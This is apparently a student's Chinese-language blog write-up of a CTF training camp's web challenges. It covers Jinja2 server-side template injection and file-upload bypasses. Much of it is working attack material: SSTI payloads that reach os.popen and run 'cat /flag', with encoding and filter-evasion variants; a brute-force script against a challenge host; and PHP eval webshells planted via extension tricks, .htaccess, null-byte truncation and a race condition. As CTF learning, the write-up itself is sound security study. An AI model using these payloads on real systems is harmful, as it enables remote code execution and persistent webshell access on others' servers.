御林夏令营 basic(3)

SSIT

SSIT-1、

入门

SSIT-2、

绕过了 {{

看起来好像第三种方便一点(

import requests

headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0"}
url = "http://101.35.209.40:7772/"
for i in range(0,500):
    # data = {"text": "{{ ().__class__.__bases__[0].__subclasses__()["+str(i)+"] }}"} 7771
    data = {"text": "{%print( ().__class__.__base__.__subclasses__()["+str(i)+"] )%}"}
    res = requests.post(url=url, headers=headers, data=data)
    if 'os._wrap_close' in res.text:
        print(i)
        break
    # print(res)

其实和上一题差不多

注意 data 里面要用 ()._ 而不是 “”._ ,不然双引号会闭合

SSIT-3、

过滤了 [ ] ,则

感觉第一种好写点

SSIT-4、

被坑了(

如果在 POST 里面传输数据的话就要将 request.args 替换为 request.values

然后,text 等于后不要加空格!!!

比如
text={{...
不要写成
text = {{...

!!!

然后就照前面搞了

text={{ ()[request.values.class][request.values.bases][0][request.values.subclasses]()[127][request.values.init][request.values.globals]['popen']('cat /flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__&init=__init__&globals=__globals__

SSIT-5、

事实就是被骗了,chr函数在

().__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__.chr

这里面

然后就和前面一样(

text={% set  chr=().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__base__.__subclasses__()[127].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read() }}
# {{().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()}}

这里面引号不用编码

SSIT-6、

过滤了 .

那就是依样画葫芦了(感觉这份学习资料挺全的((

{{ ()['__class__']['__base__']['__subclasses__']()[127]['__init__']['__globals__']['popen']('cat /flag')['read']() }}

SSIT-7、

那就将关键词编码就OK

{{ ()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[127]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('cat /flag').read() }}

SSIT-8、

STFW

SSTI 绕过方法总结

SSTI模板注入

特别注意上面这一条,就是被这一条折磨了好久,所以能不用 pop 就不用

那么我们写的 payload 应该为

{{().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()}}

则可以

text={%set qwq=dict(a=a)|join|count%} #【qwq=1】
{%set n=dict(aaaaaaaaa=a)|join|count%} #【n=9】
{%set th=dict(aaaaaaaaaaaaa=a)|join|count%} #【th=13】
{%set t=dict(aa=a)|join|count%} #【t=2】
{%set e=n*t%} #【e=18】
{%set num=n*th+n+qwq%} #【num=127】
{%set gannum=e*t+n+qwq+qwq%} #【gannum=47】
{%set p=dict(pop=a)|join%} #【p=pop】
{%set s=lipsum|string|list|attr(p)(n)%} #【s= 】
{%set x=lipsum|string|list|attr(p)(e)%} #【x=_】
{%set cl=(x,x,dict(cla=a,ss=a)|join,x,x)|join%} # 【cl=__class__】
{%set ba=(x,x,dict(ba=a,se=a)|join,x,x)|join%} #【ba=__base__】
{%set su=(x,x,dict(subclas=a,ses=a)|join,x,x)|join%} # 【su=__subclasses__】
{%set ge=(x,x,dict(geti=a,tem=a)|join,x,x)|join%} # 【ge=__getitem__】
{%set in=(x,x,dict(in=a,it=a)|join,x,x)|join%} # 【in=__init__】
{%set gl=(x,x,dict(glo=a,bals=a)|join,x,x)|join%} # 【gl=__globals__】
{%set bu=(x,x,dict(buil=a,tins=a)|join,x,x)|join%} # 【bu=__builtins__】
{%set ch=dict(c=a,hr=a)|join%} # 【ch=chr】
{%set po=dict(po=a,pen=a)|join%} #【po=popen】
{%set re=dict(re=a,ad=a)|join%} # 【re=read】
{%set get=dict(get=a)|join%} # 【get=get】
{%set  gc=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(num)|attr(in)|attr(gl)|attr(get)(bu)|attr(get)(ch)%} # gc为chr()函数,为了得到"/"
{%set pa=(dict(cat=a)|join,s,gc(gannum),dict(flag=a)|join)|join%} # 【pa=cat /flag】
{{()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(num)|attr(in)|attr(gl)|attr(ge)(po)(pa)|attr(re)()}}
# ().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()

这种就先写出 payload,然后再想想办法把过滤的关键字替换掉就ok

SSIT-9、

其实和上一题差不多,因为刚刚写的都把关键字给避开了,所以改一改,直接数字用上就ok

【SSIT】 全部解决

File Upload

Upload-1、

上传一句话木马,将格式改为 jpg ,上传的时候用 bp 抓包,将 jpg 格式改为 php , 然后就可以连蚁剑了,flag在根目录里

Upload-2

上传一句话木马,将格式改为 jpg

题目提示说 .htaccess 文件,搜索后发现可以在文件中添加

AddType application/x-httpd-php .jpg

修改 jpg 文件的 MIME 类型,使其能够在浏览器中作为脚本执行,通俗讲就是可以将 jpg 文件当作 php 代码,然后蚁剑连接找 flag

Upload-3

做法和第一题差不多,因为没有限制 MIME 的类型

有的话做法如下:

Upload-4

现在传入 jpg 文件还会检查文件头标志,那么可以找一张图片,和一句话木马结合,然后做法如题一

Upload-5

str_ireplace() 不区分大小写

可知一些后缀被加入了黑名单,会被删除,但发现只会删除一次

做法同1

Upload-6

str_replace() 区分大小写

那就改成 pHp 等等,反正识别的时候不区分大小写(

做法同1

Upload-7

注意路径和文件名都要改,然后不用手动解码,因为这是在 url 中的,网页会自动解码

最后就可以连接上 http://101.35.209.40:30007/upload/sl.php 了

!!注意因为截断,sl.php 这个文件就会传输进去,所以可以连接上这个文件

最后找 flag

Upload-8

发现和上一题有点区别,在网上查查

改改 body 里的路径,注意 %00 要 url-decode,因为这里的路径网页并不会自动解码,文件名可以不用改

最后连接上 666.php 就可以了

Upload-9

上传黑名单,多次尝试后

所以将 .php 改为 .php5 ,然后蚁剑连接

学习文献:

【网络安全】文件上传黑白名单及数组绕过技巧

文件上传漏洞总结

Upload-10

题目提示条件竞争,STFW

其实挺好理解的,就是在上传文件和检查文件之间其实有一点点时间空隙,那我们可以直接传入以下代码

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[123]);?>');?>

只要在完成安全检查(检查后缀)之前进行访问,就可以在执行代码然后再当前目录下生成另一份 php 代码,再进行蚁剑连接

所以直接用 Burp 爆破,传两份访问请求,一份用于上传,一份用于访问

但是出意外了,怎么也访问不到(

首先有第一个问题

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST['cmd']);?>');?>

但是

所以只写入了下面这些东西

'<?php eval($_POST['

但是一直访问不到的问题还没解决

因为我一直用的是群里发的 burp 的社区版

然后研究了一下,发现我一直忽略了 ->

换上了专业版之后,发送的速度一秒能传几百条,很快就访问成功了(

破案了

Upload-11

先学习一下

上传一张 gif ,然后再下载下来,用 Winhex 打开,对比一下和原来那张有哪里是一样的

然后在一样的部分上换成一句话木马后,上传,连接

?file=upload/1089780701.gif

但是我又出锅了,flag 怎么都显示不出来(

研究了好久 + 问学长 之后,才知道蚁剑有的时候会缓存奇怪的东西,导致原本的东西显示不出来

只要清一下缓存就好了

Upload-12

提示 move_uploaded_file($temp_file, $img_path) 有其他的漏洞

STFW

move_uploaded_file函数特性

类似的,上传一份 php 文件 1.php

然后将文件名命名为 1.php/.

利用 /. 绕过黑名单检测,成功上传后蚁剑连接 1.php 就行了

Upload-13

看 Hint ,仔细翻一下上传的源代码

先判断 MIME 类型,然后根据 ‘.’ 来分割文件名,判断最后一个字符串是否在白名单内,是的话就取第一个字符串和最后一个字符串组成文件名再上传

想半天,感觉好像没什么漏洞(

还是 STFW

文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集

(还是 STFW 厉害)

原理大概是令 $_POST[‘save_name’] ->

$_POST['save_name'][0]='1.php/';
$_POST['save_name'][2]='jpg';
$file=$_POST['save_name'];

然后此时 $file 就是一个数组了,所以不会执行下面这一步

那后面的就好理解了,照代码模拟下来就会发现传入的文件名变成了 1.php/. ,然后连接就行

哈哈哈这个操作真的牛逼

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇